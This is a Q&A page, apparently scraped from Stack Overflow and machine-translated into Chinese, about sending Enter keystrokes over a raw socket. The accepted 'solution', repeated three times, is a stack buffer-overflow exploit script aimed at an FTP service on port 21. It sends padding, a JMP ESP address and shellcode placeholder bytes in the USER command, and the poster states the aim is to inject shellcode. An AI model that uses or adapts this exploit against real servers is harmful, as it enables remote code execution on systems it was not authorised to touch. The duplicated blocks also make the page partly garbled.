Python模拟输入键

Python模拟输入键,python,telnet,Python,Telnet,我编写了一个简单的Python脚本,它应该使用用户名和密码连接到Telnet服务器 脚本如下: #!/usr/bin/python import sys import socket hostname = sys.argv[1] password = "whatever" username = "whatever" connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect.connect((

我编写了一个简单的Python脚本,它应该使用用户名和密码连接到Telnet服务器

脚本如下:

#!/usr/bin/python

import sys
import socket

hostname = sys.argv[1]
password = "whatever"
username = "whatever"


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:
        print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)


connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response



connect.close()
错误是:

连接正在工作,但我无法使用以下命令模拟enter键:

connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
那为什么它不起作用呢? 谢谢:)

编辑解决方案:

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

Python包含一个telnet库:
telnetlib

你看过那个吗

这里还有一个如何使用它的示例:

解决方案代码为:

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

错误是一个实现错误,在代码执行之前停止程序。

这些行执行了吗?您之前有一个
sys.exit(1)
,这将停止程序。请尝试删除“\r”。@DominicJarmann请将您的解决方案发布为您接受的单独答案,而不是编辑。问题是,我想用缓冲区溢出漏洞对脚本进行编码。由于这个原因,我不能使用这个图书馆。我就是不能用这个库注入外壳代码..没错。但是您可以看看lib的实现以及它们如何将\n发送到telnet服务器。我认为write函数可能很有用。你找到解决办法了吗?
#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()